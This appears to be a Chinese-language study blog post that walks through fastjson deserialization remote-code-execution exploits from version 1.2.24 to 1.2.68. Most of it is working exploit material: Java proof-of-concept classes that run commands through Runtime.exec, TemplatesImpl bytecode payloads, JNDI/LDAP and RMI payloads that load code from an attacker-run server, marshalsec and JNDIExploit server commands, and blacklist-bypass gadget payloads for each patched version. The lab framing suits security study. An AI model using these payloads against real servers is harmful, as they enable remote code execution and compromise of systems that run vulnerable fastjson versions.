fastjson篇2-漏洞复现和版本绕过
1.2.24
基于TemplatesImpl的利用链
这个链子和CC3有点像,Java动态加载字节码
当时CC3是:1
TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->....
但是getTransletInstance()不符合fastjson反序列化调用get方法的要求,它返回的是一个抽象类AbstractTranslet因此寻找谁调用的
TemplatesImpl#newTransformer()找到
getOutputProperties()`方法,符合要求1
2getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
Evil.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
javac编译
Exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
// TemplatesImpl 链子的 EXP
public class study1 {
public static String readClass(String cls) {
try {
FileInputStream fis = new FileInputStream(new File(cls));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
fis.close();
return Base64.getEncoder().encodeToString(bos.toByteArray());
} catch (IOException e) {
e.printStackTrace();
return null; // or handle the error appropriately
}
}
public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:\\JavaProject\\Javastudy\\cc3\\src\\main\\java\\Evil.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'jmx0hxq','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
基于JdbcRowSetImpl的利用链
这个对jdk版本有限制:1
2基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。
这里先装个jdk8u111: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
JNDI+LDAP
JdbcRowSetImpl 类里面有一个setAutoCommit()方法
由于第一次初始化肯定conn为null,进入connect()方法
这里有lookup,getDataSourceName()返回一个变量dataSource,而我们可以控制这个变量为恶意JNDI监听端
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true} |
JNDI工具:1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0
或者我们可以使用marshalsec项目:1
2
3
4
5git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8080/#Evil 1389
我们需要在一个文件里准备好编译好的Evil.class文件,然后用python开启一个临时服务器1
python -m http.server 8080
Evil.java1
2
3
4
5
6
7
8
9
10
11
12
13
14import java.io.IOException;
public class Evil {
public Evil() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
此时payload:1
2
3
4
5
6
7
8import com.alibaba.fastjson.JSON;
public class test1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
RMI
原理一样,换成RMI协议1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0:8080/#Evil 1099
绕过
1.2.25-1.2.41 绕过
- 需要开启autoTypeSupport
- 在目标类前加L,后面加;
调试:JSON.parse(payload);
下断点,一直走
调用到checkAutoType方法,前面一堆操作没啥用,if判断:
然后进入loadClass方法
这里可以看到对className做了处理,删除了L和;最后会被清空
EXP:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
1.2.25-1.2.42 绕过
- 开启autoTypeSupport
- 双写L加分号绕过
这里链子都是一样的,我们直接看TypeUtil的loadClass()方法
这里截取一次[和;
之后就又调用loadClass()方法了,完全可以双写绕过,甚至写三个四个都可以
Exp:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
1.2.25-1.2.43 绕过
官方对于1.2.42的修复是类中连续两个L就会抛出异常
但是之前的代码我们可以发现出了L还有[
一开始想着改成:1
[com.sun.rowset.JdbcRowSetImpl
报错:1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Evil", "autoCommit":true}
第42个位置是第一个逗号,我在逗号前加一个[
:1
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
报错:1
syntax error, expect {, actual string, pos 43
然后再在逗号前加个{
Exp:1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true}
此时成功弹出计算器
1.2.25-1.2.45绕过方式
- 需要开启autoType
- 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
poe.xml1
2
3
4
5<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.2.8</version>
</dependency>
Exp:1
2
3
4
5
6
7
8
9public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}
}org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名单,可以绕过checkAutoType函数,然后它还有个setProperties()方法,可以调用lookup函数,参数是可控的data_source变量
1.2.25-1.2.47通杀
条件:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
payload:1
2
3
4
5
6
7
8
9
10
11{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
Exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import com.alibaba.fastjson.JSON;
public class test2 {
public static void main(String[] args) {
String str="{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://localhost:1389/Evil\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(str);
}
}
1.2.25-1.2.59
- 需要包
1
2
3
4
5<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.4.5</version>
</dependency> - 需要autoType
payload:1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} 或 {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
1.2.25-1.2.60
payload:1
2
3{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://localhost:1389/Evil"}
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://localhost:1389/Evil"}
这两个找对应的包没复习成功不知道为啥
1.2.25-1.2.61
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Evil |
1.2.62
需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。
几个payload:1
2
3
4{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://localhost:1389/Exploit"
}
1 | {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""} |
1.2.66
Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)
黑名单绕过,都需要开启AutoType。
1 | { |
1 | { |
1 | { |
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} |
1.2.67
黑名单绕过,需要开启AutoType。
1 | { |
1 | { |
1.2.68
假设有个实现AutoCloseable接口类的恶意类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16package jmx;
public class cmd implements AutoCloseable {
public cmd(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
Poc:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"jmx.cmd\",\"cmd\":\"calc\"}";
JSON.parse(s);
}
}
BCEL
[[类加载机制#BCEL ClassLoader]]
参考: